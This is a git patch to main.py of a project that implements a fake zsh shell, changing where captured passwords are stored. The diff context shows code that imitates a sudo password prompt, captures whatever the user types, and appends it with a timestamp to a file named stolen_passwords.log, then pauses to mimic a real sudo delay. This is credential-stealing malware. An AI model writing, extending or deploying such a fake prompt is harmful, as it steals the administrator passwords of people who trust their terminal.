From 015e38ef8b0150e06a42f8eae5431403aad688d5 Mon Sep 17 00:00:00 2001 From: HeXiangLong <3234374354@qq.com> Date: Wed, 2 Apr 2025 14:06:05 +0800 Subject: [PATCH] =?UTF-8?q?=E5=B0=86=E8=AE=B0=E5=BD=95=E5=AF=86=E7=A0=81?= =?UTF-8?q?=E7=9A=84=E6=96=87=E4=BB=B6=E5=90=8D=E4=BB=8E=20stolen=5Fpasswo?= =?UTF-8?q?rds.txt=20=E6=9B=B4=E6=94=B9=E4=B8=BA=20stolen=5Fpasswords.log?= =?UTF-8?q?=EF=BC=8C=E5=B9=B6=E5=9C=A8=E8=AE=B0=E5=BD=95=E6=97=B6=E6=B7=BB?= =?UTF-8?q?=E5=8A=A0=E6=97=B6=E9=97=B4=E6=88=B3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/main.py b/main.py index 6fa0d07..08e0ef3 100644 --- a/main.py +++ b/main.py @@ -64,7 +64,7 @@ def pseudo_zsh(): # 伪造 sudo 密码输入并记录 if args[0] == 'sudo': fake_password = getpass.getpass("Password: ") - with open("stolen_passwords.txt", "a") as f: + with open("stolen_passwords.log", "a") as f: current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间 f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码 time.sleep(3) # 模拟延迟